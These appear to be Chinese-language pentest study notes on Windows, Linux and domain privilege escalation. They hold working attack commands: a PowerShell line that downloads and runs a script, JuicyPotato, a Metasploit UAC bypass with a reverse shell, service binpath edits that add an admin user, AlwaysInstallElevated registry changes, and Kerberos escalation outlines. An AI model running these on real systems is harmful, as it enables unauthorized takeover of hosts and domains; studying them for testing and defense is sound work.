1. 并不是所有的时候都必须要做提权,甚至很多时候都不用做提权,提权伴随风险,可能会造成操作系统崩溃
本地提权
远程提权
应用程序提权
操作系统提权
用户权限
管理员权限
system权限
访客权限,一般不开
目的: 获取补丁包
主要使用的几个网站:
1. 漏洞查找,将systeminfo 信息放入这个里https://i.hacking8.com/tiquan
2. 根据具体的漏洞查找 https://github.com/SecWiki/windows-kernel-exploits
wmic qfe get Caption,Description,HotFixID,InstalledOn
kb开头的就是补丁包
然后直接将信息放入,第一个网站
该工具是安全考试都能使用的工具
https://evi1cg.me/archives/Powerup.html
记得设置模式-ep bypass
powershell -ep bypass -c "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
可以将脚本放入服务器
然后根据收集到的漏洞信息,进行提权
需要有SeImpersonate或者SeAssignPrimaryToken权限
可以是通过iis 或者使用mssql 进行提权
添加网络位置
shell:::{D4480A50-BA28-11d1-8E75-00C04FA31A86}
管理工具
shell:::{D20EA4E1-3957-11d2-A40B-0C5020524153}
所有控制面板项
shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}
所有设置
shell:::{5ED4F38C-D3FF-4D61-B506-6820320AEBFE}
所有任务
shell:::{ED7BA470-8E54-465E-825C-99712043E01C}
应用
shell:::{4234d49b-0245-4df3-b780-3893943456e1}
AppSuggestedLocations
shell:::{c57a6066-66a3-4d91-9eb9-41532179f0a5}
ActiveX缓存文件夹
shell:::{88C6C381-2E85-11D0-94DE-444553540000}
自动播放
shell:::{9C60DE1E-E5FC-40f4-A487-460851A8D915}
备份和还原(Windows7)
shell:::{B98A2BEA-7D42-4558-8BD1-832F41BAC6FD}
BitLocker驱动器加密
shell:::{D9EF8727-CAC2-4e60-809E-86F80A666C91}
蓝牙设备
shell:::{28803F59-3A75-4058-995F-4EE5503B023C}
Briefcase
shell:::{85BBD920-42A0-1069-A2E4-08002B30309D}
Cabinet Shell文件夹
shell:::{0CD7A5C0-9F37-11CE-AE65-08002B2E1262}
命令文件夹
shell:::{437ff9c0-a07f-4fa0-af80-84b6c6440a16}
Common Places FS Folder
shell:::{d34a6ca6-62c2-4c34-8a7c-14709c1ad938}
CompressedFolder
shell:::{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}
连接到
shell:::{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}
控制面板
shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}
控制面板
shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
凭据管理器
shell:::{1206F5F1-0569-412C-8FEC-3204630DFB70}
可以通过win+r 启动器运行
juicypotato.exe -t * -p "cmd.exe" -l 9001 -c {4991d34b-80a1-4291-83b6-3328366b9097}
通过指定cuid
这样启动的,会反弹一个新的终端,如果没有远程桌面其实不是很好利用,所以有一个webshell 版的这个
该工具可以直接于webshell 当中使用,就是相当于一个支持webshell 的juicyPotato
user -> root(id=0)
发行版本信息
内核信息
1. 根据内核和版本信息查找
http://www.exploit-db.com
https://www.securityfocus.com/bid
https://www.rapid7.com/db/
该工具相当于本地的exploit-db
searchsploit privilege | grep -i linux | grep -i kernel
privilege 就是提权相关的脚本
核心:改写没有写权限的文件,覆盖root ,因为id 为0 的linux 只允许有一个
查看/etc/passwd /etc/shadow 是否存在密码泄露
就是利用拥有sudo 权限的用户,然后输入该用户的密码
sudo /bin/bash 就能获取root权限的bash
还有其他的指令
参考网站
https://gtfobins.github.io/
由于某一些指令,需要临时使用属主(或直接为root)的权限
比如某一个用户可以修改自己的密码,但是不能读取/etc/passwd所以通过给passwd 命令配置s(47xx)权限,就可以暂时利用属主权限
对于该权限指令的寻找可以使用
find / -perm -u=s -type f 2>/dev/null
然后利用找到的指令,到网站找利用方式
https://gtfobins.github.io/
命令getsystem
一个简单的进程信息通信机制
可以在同一台主机的不同进程之间,也可以是跨越网络只见,进行可靠的或者单向的数据通信
windwos上的格式
\\server\pipe[\path]\name
server:一个服务器的名字,本机使\.表示\ip 表示网络山上的服务器
返回对象列表
get-childitem \\.pipe\
只查看名字
(get-childitem \\.\pipe\).Fullname
大致的原理是
使用system 权限创建一个程序,让这个程序连接msf 启动的命令管道,然后msf 使用 ImpersonateNamedPipeClient() 函数生成system token 再利用这个token 创建一个cmd 程序完成提权
注:system 权限创建的程序,可以使用服务,服务启动的程序就是system 权限
windows 用户账户控制机制,他以预见的方式阻止不必要的系统范围更改 getsystem 如果发现失败,那么就可以考虑绕过uac
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.170
set session 1
exploit
运行成功会直接返回system 会话
bypassuac_injection
bypassuac_eventvwr
bypassuac_comhijack
一个msf 利用的模块,当获取一个session之后可以使用这个模块,他会建议当前能使用的相关模块,用于提权
exploit/windows/local/ms16_075_reflection_juicy
简介
总结一句话就是普通用户使用system 权限安装msi 文件
任意用户以NT AUTHORITY\SYSTEM权限安装MSI安装包。
MSI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行.exe安装程序
AlwaysInstallElevated 是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该 参数允许非特权用户以system权 限运行MSI文件。
如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。
reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Install (AlwaysInstalledElevated=1)
HKEY_CURRENT_USER\Software\Policies\Microsof\Windows\Installer (AlwaysInstalledElevated=1)
使用msf
msfvenom -f msi -p windows/exec CMD=calc.exe>test.msi
使用打包器
https://www.exemsi.com/download/
use exploit/windows/local/always_install_elevated
set sessions 1
run
原理
windwos 程序运行时,会将空格之后的当作参数,但是有一些路径中间时存在空格。对于服务启动的路径中包含空格的情况,操作系统会首先查找是否存在空格之前的文件,如果有空格之后就是参数。相反,则会继续以路径的方式加载
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
icacls "C:\Program Files (x86)\"
F =完全控制
CI =容器继承 - 此标志指示从属容器将继承此ACE。
OI = Object Inherit - 这个标志表示从属文件将继承ACE。
生成payload ,注意此时payload 的名字应该与空格前面一个文件路径名字一样,这样当服务启动的时候空格后面的就是当作参数
use exploit/windows/local/unquoted_service_path
set session 1
run
accesschk64.exe -ucqv "Authenticated Users" * /accepteula
services_all_access
sc qc Acunetix
sc config Acunetix binpath= "net user updateuser password /add"
sc stop Acunetix
sc start Acunetix
sc config Acunetix binpath= "net localgroup Administrators updateuser /add"
sc start Acunetix
use exploit/windows/local/service_permissions
set sessions 1
run
该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。
简单的说就是制作黄金票据
服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控DC验证PAC的话, 那么客户端可以伪造域管的权限来访问服务器
域控没有安装MS14-068的补丁 KB3011780
拥有一台域内用户的主机
具有普通域用户的密码,HASH值以及用户SUID
该漏洞可以置空域控的密码
CVE-2021-42287/CVE-2021-42278
一般来说,机器账号的名字应该以\$符号结尾的。例如DC\$表示DC这台主机的账户名。但是微软只是进行了规定,并没有验证程序对用户创建的用户名进行验证,也就是说,创建DC用户名完全是可以的。(这里指的是机器账号的sAMAccountName属性)
结合上面那个漏洞,如果创建了一个用户名为DC的账户,此时使用这个账户去申请一张TGT票据,然 后在申请ST之前,将这个账户名修改掉或者删除掉,那么在进行申请ST的时候,KDC在进行验证时 就查不到这个账户,此时KDC就会去查找DC\$这个账户,如果这个账户存在的话,最终返回的就是 DC$这个账户申请的ST。也就相当于获取到了域控账户申请的高权限服务票据。